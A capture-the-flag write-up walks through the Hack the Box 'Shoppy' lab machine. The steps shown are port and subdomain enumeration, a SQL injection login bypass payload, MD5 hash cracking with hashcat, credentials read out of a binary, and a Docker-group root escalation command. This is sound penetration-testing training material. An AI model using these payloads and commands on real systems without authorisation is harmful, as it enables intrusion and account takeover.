Hack the Box - Shoppy
Posted on January 14, 2023 • 6 minutes • 1090 words
Welcome back! Today we are going to be doing the Hack the Box machine - Shoppy. This machine is listed an as Easy machine. Let’s start!
As usually, we start with an nmap
scan. Here are the results:
Nmap scan report for 10.10.11.180
Host is up (0.080s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
| 256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_ 256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp open http nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
9093/tcp open copycat?
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/plain; version=0.0.4; charset=utf-8
| Date: Fri, 30 Sep 2022 13:57:05 GMT
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 18
| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0
| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 18
| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 4.2374e-05
| go_gc_duration_seconds{quantile="0.25"} 9.0354e-05
| go_gc_d
| HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/plain; version=0.0.4; charset=utf-8
| Date: Fri, 30 Sep 2022 13:57:06 GMT
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 18
| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0
| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 18
| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 4.2374e-05
| go_gc_duration_seconds{quantile="0.25"} 9.0354e-05
|_ go_gc_d
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9093-TCP:V=7.92%I=7%D=9/30%Time=6336F5B2%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,1000,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20text/plain;\x20version=0\.0\.4;\x20charset=utf-8\r\nDate:\x20Fri,\x2
SF:030\x20Sep\x202022\x2013:57:05\x20GMT\r\n\r\n#\x20HELP\x20go_gc_cycles_
SF:automatic_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\x
SF:20generated\x20by\x20the\x20Go\x20runtime\.\n#\x20TYPE\x20go_gc_cycles_
SF:automatic_gc_cycles_total\x20counter\ngo_gc_cycles_automatic_gc_cycles_
SF:total\x2018\n#\x20HELP\x20go_gc_cycles_forced_gc_cycles_total\x20Count\
SF:x20of\x20completed\x20GC\x20cycles\x20forced\x20by\x20the\x20applicatio
SF:n\.\n#\x20TYPE\x20go_gc_cycles_forced_gc_cycles_total\x20counter\ngo_gc
SF:_cycles_forced_gc_cycles_total\x200\n#\x20HELP\x20go_gc_cycles_total_gc
SF:_cycles_total\x20Count\x20of\x20all\x20completed\x20GC\x20cycles\.\n#\x
SF:20TYPE\x20go_gc_cycles_total_gc_cycles_total\x20counter\ngo_gc_cycles_t
SF:otal_gc_cycles_total\x2018\n#\x20HELP\x20go_gc_duration_seconds\x20A\x2
SF:0summary\x20of\x20the\x20pause\x20duration\x20of\x20garbage\x20collecti
SF:on\x20cycles\.\n#\x20TYPE\x20go_gc_duration_seconds\x20summary\ngo_gc_d
SF:uration_seconds{quantile=\"0\"}\x204\.2374e-05\ngo_gc_duration_seconds{
SF:quantile=\"0\.25\"}\x209\.0354e-05\ngo_gc_d")%r(HTTPOptions,152B,"HTTP/
SF:1\.0\x20200\x20OK\r\nContent-Type:\x20text/plain;\x20version=0\.0\.4;\x
SF:20charset=utf-8\r\nDate:\x20Fri,\x2030\x20Sep\x202022\x2013:57:06\x20GM
SF:T\r\n\r\n#\x20HELP\x20go_gc_cycles_automatic_gc_cycles_total\x20Count\x
SF:20of\x20completed\x20GC\x20cycles\x20generated\x20by\x20the\x20Go\x20ru
SF:ntime\.\n#\x20TYPE\x20go_gc_cycles_automatic_gc_cycles_total\x20counter
SF:\ngo_gc_cycles_automatic_gc_cycles_total\x2018\n#\x20HELP\x20go_gc_cycl
SF:es_forced_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\x
SF:20forced\x20by\x20the\x20application\.\n#\x20TYPE\x20go_gc_cycles_force
SF:d_gc_cycles_total\x20counter\ngo_gc_cycles_forced_gc_cycles_total\x200\
SF:n#\x20HELP\x20go_gc_cycles_total_gc_cycles_total\x20Count\x20of\x20all\
SF:x20completed\x20GC\x20cycles\.\n#\x20TYPE\x20go_gc_cycles_total_gc_cycl
SF:es_total\x20counter\ngo_gc_cycles_total_gc_cycles_total\x2018\n#\x20HEL
SF:P\x20go_gc_duration_seconds\x20A\x20summary\x20of\x20the\x20pause\x20du
SF:ration\x20of\x20garbage\x20collection\x20cycles\.\n#\x20TYPE\x20go_gc_d
SF:uration_seconds\x20summary\ngo_gc_duration_seconds{quantile=\"0\"}\x204
SF:\.2374e-05\ngo_gc_duration_seconds{quantile=\"0\.25\"}\x209\.0354e-05\n
SF:go_gc_d");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We see three ports - 22
, 80
and 9093
. We also see that we should probably add shoppy.htb
to our hosts file. We’ll start up burpsuite
and see what’s happening on port 80
. We get a landing page saying that the service is coming soon. Looks like we’ll start enumerating with gobuster
and or ffuf
.
Command:
gobuster dir -u http://shoppy.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Right away we see /login
and /admin
.
We head over to the login screen. We try to login with some basic’s like admin
| admin
and the such but nothing. When we try to give it a basic SQL Injection
we get a 504 timeout
. There could be something here. After a while of trying all sorts of injections on the field, we land on admin' || '1=1-- -
letting us login!
Now that we’re in we can see we have access to a search for users
function. What are the chances we can use the same ‘Always true’ statement that logged us in, in this field? Sure enough, it also works. We are given a link to ‘Download export’ The export only contains two users - josh
and admin
.
These hashes look to be MD5
at first glace. We can crack those pretty easy this day in age.
Command:
hashcat -m 0 '6ebcea65320589ca4f2f1ce039975995' /usr/share/wordlists/rockyou.txt
And we get back a match:
6ebcea65320589ca4f2f1ce039975995:remembermethisway
So now we have a password for Josh
. We aren’t able to use it for SSH
so we must be missing something. During our enumeration processes we didn’t try to enumerate any subdomains. There very well could be another site being hosted. We’ll take a pass with gobuster
to see if we can enumerate anything additional.
Command:
gobuster vhost -u shoppy.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
That didn’t turn up any results. We’ll try again with a different lists and we end up finding mattermost.shoppy.htb
. We’ll add this to our hosts file and see what’s being hosted.
Sure enough, there is a login right as we load the page. We are able to login as josh
. Once we get logged we can dig around and see what we can find. We find an interesting tidbit -
‘Hey @jaeger, when I was trying to install docker on the machine, I started learn C++ and I do a password manager. You can test it if you want, the program is on the deploy machine.’
We can take a look at the ‘Deploy Machine’ on the side links and see that we have some credentials to that machine given to us - jaeger
:Sh0ppyBest@pp!
. Now we can test these credentials against SSH
to see if we are able to log into that container.
We are able to log into that container and the user.txt
flag is waiting for us! Now that we’re on the box, and we know it’s a container, we’ll need to seek a way to break out. Generally to do that we need a method to root
. Let’s start to enumerate. A quick sudo -l
shows we can run /home/deploy/password-manager
as the Deploy
user. This was probably the tool that was noted in mattermost
. So let’s try to run the app.
We see we are expected to answer the ‘Master Password’.
We try a few basic passwords but nothing works. So we run strings
on the file and see something but no password:
Next we try cat
:
This time we have a bit more insight, we see the password as Sample
. We plug it into the app and gain some new credentials - deploy
:Deploying@pp!
.
Let’s SSH
into this container using these credentials. Now we’re in with another account, let’s enumerate. We aren’t able to run sudo
as the deploy
user. So we’ll get a copy of linpeas
on the container and see what we mightr be able to find. We start up our SimpleHTTPServer
and user wget
to download the linpeas
script. Then we run it.
We see that one of the 95% Escalation Vectors that pops up is that the user belongs to the Docker
group. So we can check hatrick
and gtfo bins
for paths up. We will try the following:
Command:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
It works, we escalate to root
in the container!
We then cat
the root.txt
flag and box is completed!